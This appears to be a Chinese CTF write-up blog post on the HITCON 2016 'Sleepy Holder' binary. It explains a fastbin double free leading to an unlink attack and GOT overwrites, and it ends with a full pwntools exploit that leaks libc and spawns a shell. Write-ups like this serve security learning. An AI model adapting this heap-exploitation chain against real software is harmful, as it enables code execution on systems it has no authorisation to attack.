(unlink) HITCON CTF 2016 : Sleepy Holder

今天仍然是复习unlink的原理和利用过程

这个跟Secret Holder类似的,只不过huge secret一旦创建就无法删除了和修改了(我之前写payload时候忘记了,还delete(3)。。。)

安全检查之后拖到IDA里面:菜单题
在这里插入图片描述
free功能好像没什么毛病在这里插入图片描述
修改功能好像也没什么问题(难道问题在分配里面)
在这里插入图片描述
看到分配功能,也就是三个秘密分配,也没有什么分配函数读取越界溢出,或者off-by-null漏洞
然后大致只得到了,分配通过flag的位置是否为1,来判断的并且其相对的布局分别是
0x6020c0 =====>big secret ptr(大秘密堆地址) size 0xfa0(4000)
0x6020c8 =====>huge secret ptr(巨大秘密堆地址) size 0x61a80(400000)
0x6020d0 =====>small secret ptr(小秘密堆地址) size 0x28(40)
0x6020d8 =====>big secret flag(大秘密标志位)
0x6020dc =====>huge secret flag(巨型秘密标志位)
0x6020e0 =====>small secret ptr(小秘密标志位)

其实我一开始忘记了,堆的大小必须得是16的倍数(64位的)。。。然后我写payload创建堆的时候发现了大小是0x30,才想起来

也就是说必须得字节对齐,所以也就是后面的八个字节我们可以溢出修改大堆块的prev_size
so?那就可以伪造堆块进而触发unlink,随后就可以任意地址写了

这个是我一开始的慢慢调试的图片
在这里插入图片描述
首先是创建堆块,并且由于要达到释放堆块2时候触发unlink,所以进行以下操作
我就不截屏了

add(1,'b'*0x8)#small

add(2,'a'*8)#big

delete(1) 		#fastbin

add(3,'a'*8)#huge	move into smallbin

delete(1)	#	double free

然后触发unlink

payload = p64(0) + p64(0x21) #fake header
payload += p64(small_ptr-0x18)
payload += p64(small_ptr-0x10)
payload += p64(0x20) #prev_size
add(1,payload)
#now time ,free(2) ==> unlink,and need put addr into ptr
delete(2)

此时big secret处于释放状态,此时有两种修改意见,一在申请回来,二、修改flag(刚好能够修改的位置是big secret和huge flag的位置)

add(2,'a'*8)#big

payload = "A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1)+p32(1)
update(1,payload)

update(1,p64(puts_plt)) # free->puts

然后就已经把put_got写入到了ptr1的位置,free_got写入到了ptr0的位置
然后在修改small指向free->put
在这里插入图片描述
然后释放big chunk就相当于打印了put函数地址(delete(2))
然后同样的修改ptr0-free–>system,然后修改ptr1(big chunk)–>bin/sh就可以了

add(2,'a'*8)

update(1,p64(system_addr))

update(2,'/bin/sh\x00')

在这里插入图片描述
最后在释放big chunk就获得了shell
在这里插入图片描述
完整exp

from pwn import *


#context.log_level = 'debug'

p = process("./sleepyHolder_hitcon_2016")
#p = remote('node4.buuoj.cn',28739)
sleepyHolder = ELF("./sleepyHolder_hitcon_2016")
libc = ELF("libc.so.6")

def add(index, content):
    p.recvuntil("Renew secret\n")
    p.sendline("1")
    p.recvuntil("\n")
    p.sendline(str(index))
    p.recvuntil("secret: \n")
    p.send(content)

def delete(index):
    p.recvuntil("3. Renew secret\n")
    p.sendline("2")
    p.recvuntil("Big secret\n")
    p.send(str(index))

def update(index, content):
    p.recvuntil("Renew secret\n")
    p.sendline("3")
    p.recvuntil("Big secret\n")
    p.sendline(str(index))
    p.recvuntil("secret: \n")
    p.send(content)


small_ptr = 0x6020d0
big_ptr = 0x6020c0
huge_ptr = 0x6020c8

add(1,'b'*0x8)#small

add(2,'a'*8)#big

delete(1) 		#fastbin

add(3,'a'*8)#huge	move into smallbin

delete(1)	#	double free

payload = p64(0) + p64(0x21) #fake header
payload += p64(small_ptr-0x18)
payload += p64(small_ptr-0x10)
payload += p64(0x20) #prev_size
add(1,payload)
#now time ,free(2) ==> unlink,and need put addr into ptr
delete(2)

free_got = sleepyHolder.got['free']
puts_plt = sleepyHolder.plt['puts']
puts_got = sleepyHolder.got['puts']
print("free addr is : ",hex(free_got))		#free 0x602018
print("puts addr is : ",hex(puts_got))		#static puts 0x602020
print("puts_plt addr is : ",hex(puts_plt))	# 0x400760


add(2,'a'*8)#big
#gdb.attach(p)

payload = "A"*8 + p64(puts_got) + p64(0) + p64(free_got) + p32(1)+p32(1)
update(1,payload)

update(1,p64(puts_plt)) # free->puts
#gdb.attach(p)
#delete(3)
delete(2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(puts_addr)


libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print("system_addr",hex(system_addr))

#
add(2,'a'*8)

update(1,p64(system_addr))

update(2,'/bin/sh\x00')

delete(2)
#gdb.attach(p)







p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值